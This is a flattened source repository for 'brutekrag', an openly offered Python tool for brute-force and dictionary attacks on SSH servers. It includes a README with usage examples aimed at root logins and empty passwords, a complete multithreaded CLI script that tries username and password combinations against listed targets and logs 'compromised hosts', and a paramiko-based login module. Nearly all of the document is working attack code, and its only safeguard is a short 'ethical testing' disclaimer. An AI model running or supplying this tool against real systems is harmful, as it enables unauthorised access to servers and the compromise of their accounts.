├── .gitignore ├── LICENSE.txt ├── README.md ├── bin └── brutekrag ├── brutekrag └── __init__.py ├── requirements.txt ├── setup.cfg └── setup.py /.gitignore: -------------------------------------------------------------------------------- 1 | dist/ 2 | -------------------------------------------------------------------------------- /LICENSE.txt: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2014-2017 Jorge Matricali 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | [![license](https://img.shields.io/github/license/jorge-matricali/brutekrag.svg)](https://jorge-matricali.mit-license.org/2014-2017) [![GitHub contributors](https://img.shields.io/github/contributors/jorge-matricali/brutekrag.svg)](https://github.com/jorge-matricali/brutekrag/graphs/contributors) 2 | [![PyPI](https://img.shields.io/pypi/dm/brutekrag.svg)](https://pypi.python.org/pypi/brutekrag) 3 | 4 | # brutekrag 5 | Penetration tests on SSH servers using brute force or dictionary attacks. Written in _Python_. 6 | 7 | > _brute krag_ means "brute force" in afrikáans 8 | 9 | ## Disclaimer 10 | >This tool is for ethical testing purpose only. 11 | >brutekrag and its owners can't be held responsible for misuse by users. 12 | >Users have to act as permitted by local law rules. 13 | 14 | ## Requirements 15 | * Python 2.7 16 | * see [requirements.txt](requirements.txt) 17 | 18 | ## Installation 19 | It can be easily installed using _pip_ 20 | 21 | ```bash 22 | pip install brutekrag 23 | ``` 24 | Then you can do 25 | ```bash 26 | $ brutekrag --help 27 | 28 | usage: brutekrag [-h] [-t TARGET] [-T TARGETS] [-pF PASSWORDS] [-uF USERS] 29 | [-sF SINGLE] [--separator SEPARATOR] [-p PORT] [-u USER] 30 | [-P PASSWORD] [--timeout TIMEOUT] [--threads THREADS] 31 | [-o OUTPUT] [--progress] [-v] [--version] 32 | 33 | _ _ _ 34 | | | | | | | 35 | | |__ _ __ _ _| |_ ___| | ___ __ __ _ __ _ 36 | | '_ \| '__| | | | __/ _ \ |/ / '__/ _` |/ _` | 37 | | |_) | | | |_| | || __/ <| | | (_| | (_| | 38 | |_.__/|_| \__,_|\__\___|_|\_\_| \__,_|\__, | 39 | OpenSSH Brute force tool 0.3.1 __/ | 40 | (c) Copyright 2014 Jorge Matricali |___/ 41 | 42 | 43 | optional arguments: 44 | -h, --help show this help message and exit 45 | -t TARGET, --target TARGET 46 | Target hostname or IPv4. 47 | -T TARGETS, --targets TARGETS 48 | Targets file that containas one hostname or IPv4 per line. 49 | -pF PASSWORDS, --passwords PASSWORDS 50 | Path to password dictionary file. One password per line. 51 | -uF USERS, --users USERS 52 | Path to users list file. One user per line. 53 | -sF SINGLE, --single SINGLE 54 | Path to a file that contains a combination of both username and password. One combination per line, separated by space character by default. 55 | --separator SEPARATOR 56 | Custom username/password separator. It's should be used in conjunction with -sF. 57 | -p PORT, --port PORT Target port (default 22). 58 | -u USER, --user USER Single user bruteforce. 59 | -P PASSWORD, --password PASSWORD 60 | Single password bruteforce. 61 | --timeout TIMEOUT Connection timeout (in seconds, 1 default). 62 | --threads THREADS Total number of threads to use (default 1). 63 | -o OUTPUT, --output OUTPUT 64 | Output file for compromised hosts. 65 | --progress Progress bar. 66 | -v, --verbose Verbose output. 67 | --version Prints version and banner. 68 | ``` 69 | 70 | ## Example usages 71 | ```bash 72 | # One target, one user, many passwords 73 | brutekrag -t 10.10.0.14 --user root --passwords passwords.txt 74 | # Many targets, one user, empty password 75 | brutekrag -T targets.txt --user root --password '' 76 | # One target, many pre-made combinations of user and password 77 | brutekrag -t 192.168.0.1 --single combined.txt 78 | ``` 79 | -------------------------------------------------------------------------------- /bin/brutekrag: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | """ 3 | MIT License 4 | 5 | Copyright (c) 2014-2017 Jorge Matricali 6 | 7 | Permission is hereby granted, free of charge, to any person obtaining a copy 8 | of this software and associated documentation files (the "Software"), to deal 9 | in the Software without restriction, including without limitation the rights 10 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 11 | copies of the Software, and to permit persons to whom the Software is 12 | furnished to do so, subject to the following conditions: 13 | 14 | The above copyright notice and this permission notice shall be included in all 15 | copies or substantial portions of the Software. 16 | 17 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 18 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 19 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 20 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 21 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 22 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 23 | SOFTWARE. 24 | """ 25 | 26 | from __future__ import print_function 27 | import sys 28 | import brutekrag 29 | import argparse 30 | from argparse import RawTextHelpFormatter 31 | import threading 32 | import signal 33 | import time 34 | from tqdm import tqdm 35 | 36 | exit_flag = False 37 | threads = [] 38 | matrix = [] 39 | processed = 0 40 | total = 0 41 | compromisedHostsBuffer = None 42 | 43 | 44 | def teardown(signal=0): 45 | print('Stopping threads...') 46 | exit_flag = True 47 | try: 48 | for t in threads: 49 | try: 50 | t.stop() 51 | except Exception as e: 52 | print(e) 53 | except Exception as e: 54 | print(e) 55 | sys.exit(signal) 56 | 57 | 58 | def signal_handler(signal, frame): 59 | teardown(0) 60 | 61 | 62 | def print_error(message, *arguments): 63 | if args.progress: 64 | return 65 | print('\033[91m%s\033[0m' % message, *arguments, file=(sys.stderr, None)[args.progress]) 66 | 67 | 68 | def print_debug(message, *arguments): 69 | if args.progress or not args.verbose: 70 | return 71 | print('\033[37m%s\033[0m' % message, *arguments, file=(sys.stderr, None)[args.progress]) 72 | 73 | 74 | def update_progress(count, total, suffix=''): 75 | bar_len = 60 76 | filled_len = int(round(bar_len * count / float(total))) 77 | 78 | percents = round(100.0 * count / float(total), 1) 79 | bar = '=' * filled_len + '-' * (bar_len - filled_len) 80 | 81 | sys.stdout.write('[%s] %s%s ...%s\r' % (bar, percents, '%', suffix + ' '*10)) 82 | sys.stdout.flush() 83 | 84 | 85 | class brutekragThread(threading.Thread): 86 | def __init__(self, threadID, name, **kwargs): 87 | super(brutekragThread, self).__init__() 88 | self._threadID = threadID 89 | self._name = name 90 | self._running = True 91 | self._verbose = False 92 | if 'verbose' in kwargs: 93 | self._verbose = bool(kwargs.get('verbose')) 94 | 95 | def run(self): 96 | global processed 97 | self.log('Starting thread...') 98 | while(matrix and self._running): 99 | try: 100 | loginAttempt = matrix.pop() 101 | btkg = brutekrag.brutekrag(loginAttempt[0], args.port, timeout=args.timeout) 102 | if btkg.connect(loginAttempt[1], loginAttempt[2]) is True: 103 | print('\033[37m[%s:%d]\033[0m The password for user \033[1m%s\033[0m is \033[92m\033[1m%s\033[0m' % (loginAttempt[0], args.port, loginAttempt[1], loginAttempt[2])) 104 | if args.output is not None: 105 | print('%s:%d %s:%s' % (loginAttempt[0], args.port, loginAttempt[1], loginAttempt[2]), file=compromisedHostsBuffer) 106 | compromisedHostsBuffer.flush() 107 | if args.user is not None: 108 | # This execution aims to a single user, so all the job is done. :D 109 | teardown(0) 110 | break 111 | else: 112 | if args.progress: 113 | last = '[%d/%d] %s:%d %s:%s' % (processed+1, total, loginAttempt[0], args.port, loginAttempt[1], loginAttempt[2]) 114 | update_progress(processed+1, total, last) 115 | else: 116 | print_debug('[%s:%d] password %s for user %s is not valid.' % (loginAttempt[0], args.port, loginAttempt[2], loginAttempt[1])) 117 | except Exception as ex: 118 | print_error(str(ex)) 119 | processed += 1 120 | self.stop() 121 | 122 | def stop(self): 123 | self.log('Stopping...') 124 | self._running = False 125 | 126 | def log(self, *args): 127 | if self._verbose: 128 | print(time.ctime(time.time()), self._name, *args) 129 | 130 | 131 | banner = ('''\033[92m _ _ _ 132 | | | | | | | 133 | | |__ _ __ _ _| |_ ___| | ___ __ __ _ __ _ 134 | | '_ \| '__| | | | __/ _ \ |/ / '__/ _` |/ _` | 135 | | |_) | | | |_| | || __/ <| | | (_| | (_| | 136 | |_.__/|_| \__,_|\__\___|_|\_\_| \__,_|\__, | 137 | \033[0m\033[1mOpenSSH Brute force tool 0.3.1\033[92m __/ | 138 | \033[0m(c) Copyright 2014 Jorge Matricali\033[92m |___/\033[0m 139 | \n''') 140 | 141 | signal.signal(signal.SIGINT, signal_handler) 142 | parser = argparse.ArgumentParser(description=banner, 143 | formatter_class=RawTextHelpFormatter) 144 | 145 | parser.add_argument('-t', '--target', type=str, help='Target hostname or IPv4.') 146 | parser.add_argument('-T', '--targets', type=str, help='Targets file that containas one hostname or IPv4 per line.') 147 | parser.add_argument('-pF', '--passwords', type=str, help='Path to password dictionary file. One password per line.') 148 | parser.add_argument('-uF', '--users', type=str, help='Path to users list file. One user per line.') 149 | parser.add_argument('-sF', '--single', type=str, help='Path to a file that contains a combination of both username and password. One combination per line, separated by space character by default.') 150 | parser.add_argument('--separator', type=str, help='Custom username/password separator. It\'s should be used in conjunction with -sF.', default=' ') 151 | parser.add_argument('-p', '--port', type=int, help='Target port (default 22).', default=22) 152 | parser.add_argument('-u', '--user', type=str, help='Single user bruteforce.') 153 | parser.add_argument('-P', '--password', type=str, help='Single password bruteforce.') 154 | parser.add_argument('--timeout', type=int, help='Connection timeout (in seconds, 1 default).', default=1) 155 | parser.add_argument('--threads', type=int, default=1, help='Total number of threads to use (default 1).') 156 | parser.add_argument('-o', '--output', type=str, default=None, help='Output file for compromised hosts.') 157 | parser.add_argument('--progress', action='store_true', help='Progress bar.') 158 | parser.add_argument('-v', '--verbose', action='store_true', help='Verbose output.') 159 | parser.add_argument('--version', action='store_true', help='Prints version and banner.') 160 | 161 | try: 162 | args = parser.parse_args() 163 | except TypeError: 164 | parser.print_help() 165 | parser.exit() 166 | 167 | print(banner) 168 | 169 | if args.version: 170 | sys.exit(0) 171 | 172 | ''' 173 | PARSE TARGETS 174 | ''' 175 | if args.target is not None: 176 | targets = [args.target] 177 | elif args.targets is not None: 178 | targets = [] 179 | with open(args.targets, 'r') as targetsFile: 180 | for target in targetsFile: 181 | targets.append(target) 182 | targetsFile.close() 183 | print('Loaded %d targets from %s' % (len(targets), args.targets)) 184 | else: 185 | print_error('You must specify al most one target.') 186 | sys.exit(255) 187 | 188 | ''' 189 | PARSE USERS 190 | ''' 191 | if args.user is not None: 192 | users = [args.user] 193 | elif args.users is not None: 194 | users = [] 195 | with open(args.users, 'r') as usersFile: 196 | for user in usersFile: 197 | users.append(user) 198 | usersFile.close() 199 | print('Loaded %d users from %s' % (len(users), args.users)) 200 | elif args.single is None: 201 | print_error('You must specify al most one username.') 202 | sys.exit(255) 203 | 204 | ''' 205 | PARSE PASSWORDS 206 | ''' 207 | if args.password is not None: 208 | passwords = [args.password] 209 | elif args.passwords is not None: 210 | passwords = [] 211 | with open(args.passwords, 'r') as passwordsFile: 212 | for password in passwordsFile: 213 | passwords.append(password) 214 | passwordsFile.close() 215 | print('Loaded %d passwords from %s\n' % (len(passwords), args.passwords)) 216 | elif args.single is None: 217 | print_error('You must specify a password dictionary.') 218 | sys.exit(255) 219 | 220 | ''' 221 | OUTPUT BUFFER 222 | ''' 223 | if args.output is not None: 224 | try: 225 | compromisedHostsBuffer = open(args.output, 'a') 226 | except Exception as error: 227 | print_error('Can\'t output to %s: %s' % (args.output, str(error))) 228 | 229 | 230 | ''' 231 | BUILD MATRIX 232 | ''' 233 | if args.single is not None: 234 | # Single file 235 | dictionary = [] 236 | with open(args.single, 'r') as dictionaryFile: 237 | for line in dictionaryFile: 238 | dictionary.append(line) 239 | dictionaryFile.close() 240 | print('Loaded %d combinations of username and password from %s\n' % (len(dictionary), args.single)) 241 | 242 | for line in dictionary: 243 | username, password = line.split(args.separator) 244 | password = password.strip('$BLANKPASS') 245 | for target in targets: 246 | matrix.append([target.strip(), username.strip(), password.strip('\n')]) 247 | 248 | else: 249 | # Separated 1n1 username passwords 250 | print('') 251 | for username in users: 252 | for password in passwords: 253 | password = password.strip('$BLANKPASS') 254 | for target in targets: 255 | matrix.append([target.strip(), username.strip(), password.strip('\n')]) 256 | 257 | total = len(matrix) 258 | matrix.reverse() 259 | print('%d total loggin attemps.' % len(matrix)) 260 | print('Starting %d threads...\n' % args.threads) 261 | 262 | threads = [None]*args.threads 263 | for nt in range(args.threads): 264 | threads[nt] = brutekragThread(nt+1, 'Thread-%d' % (nt+1), verbose=args.verbose) 265 | threads[nt].daemon = True 266 | threads[nt].start() 267 | 268 | while(threads): 269 | for t in threads: 270 | if not t._running: 271 | threads.remove(t) 272 | 273 | 274 | print('Bye...') 275 | -------------------------------------------------------------------------------- /brutekrag/__init__.py: -------------------------------------------------------------------------------- 1 | """ 2 | MIT License 3 | 4 | Copyright (c) 2014-2017 Jorge Matricali 5 | 6 | Permission is hereby granted, free of charge, to any person obtaining a copy 7 | of this software and associated documentation files (the "Software"), to deal 8 | in the Software without restriction, including without limitation the rights 9 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | copies of the Software, and to permit persons to whom the Software is 11 | furnished to do so, subject to the following conditions: 12 | 13 | The above copyright notice and this permission notice shall be included in all 14 | copies or substantial portions of the Software. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 22 | SOFTWARE. 23 | """ 24 | from __future__ import print_function 25 | import sys 26 | import paramiko 27 | from paramiko import AutoAddPolicy 28 | import socket 29 | 30 | 31 | class brutekrag: 32 | def __init__(self, host, port=22, timeout=1): 33 | self.host = host 34 | self.port = port 35 | self.list_users = [] 36 | self.list_passwords = [] 37 | self.timeout = timeout 38 | 39 | def connect(self, username, password): 40 | try: 41 | client = paramiko.SSHClient() 42 | client.load_system_host_keys() 43 | client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 44 | 45 | client.connect( 46 | self.host, 47 | port=self.port, 48 | username=username, 49 | password=password, 50 | timeout=self.timeout 51 | ) 52 | 53 | except paramiko.AuthenticationException: 54 | return False 55 | 56 | except (paramiko.ssh_exception.BadHostKeyException) as error: 57 | raise Exception('[%s:%d] BadHostKeyException: %s' % (self.host, self.port, error.message)) 58 | return False 59 | 60 | except (paramiko.ssh_exception.SSHException, socket.error) as se: 61 | raise Exception('[%s:%d] Connection error: %s' % (self.host, self.port, str(se))) 62 | return False 63 | 64 | except paramiko.ssh_exception.SSHException as error: 65 | raise Exception('[%s:%d] An error occured: %s' % (self.host, self.port, error.message)) 66 | return False 67 | 68 | finally: 69 | client.close() 70 | 71 | return True 72 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | paramiko>=1.8.0 2 | argparse>=1.2.2 3 | -------------------------------------------------------------------------------- /setup.cfg: -------------------------------------------------------------------------------- 1 | [metadata] 2 | description-file = README.md 3 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | from distutils.core import setup 2 | 3 | setup( 4 | name='brutekrag', 5 | packages=['brutekrag'], 6 | version='0.3.1', 7 | description='Penetration tests on SSH servers using brute force or dictionary attacks', 8 | author='Jorge Matricali', 9 | author_email='jorgematricali@gmail.com', 10 | license='MIT', 11 | url='https://github.com/matricali/brutekrag', 12 | download_url='https://github.com/matricali/brutekrag/archive/v0.3.1.tar.gz', 13 | scripts=['bin/brutekrag'], 14 | keywords=['ssh', 'brute force', 'ethical hacking', 'pentesting', 'dictionary attack', 'penetration test'], 15 | classifiers=( 16 | 'Intended Audience :: Developers', 17 | 'Intended Audience :: System Administrators', 18 | 'Natural Language :: English', 19 | 'Programming Language :: Python', 20 | 'Programming Language :: Python :: 2.6', 21 | 'Programming Language :: Python :: 2.7' 22 | ), 23 | install_requires=['paramiko>=1.8.0', 24 | 'argparse>=1.2.2'] 25 | ) 26 | --------------------------------------------------------------------------------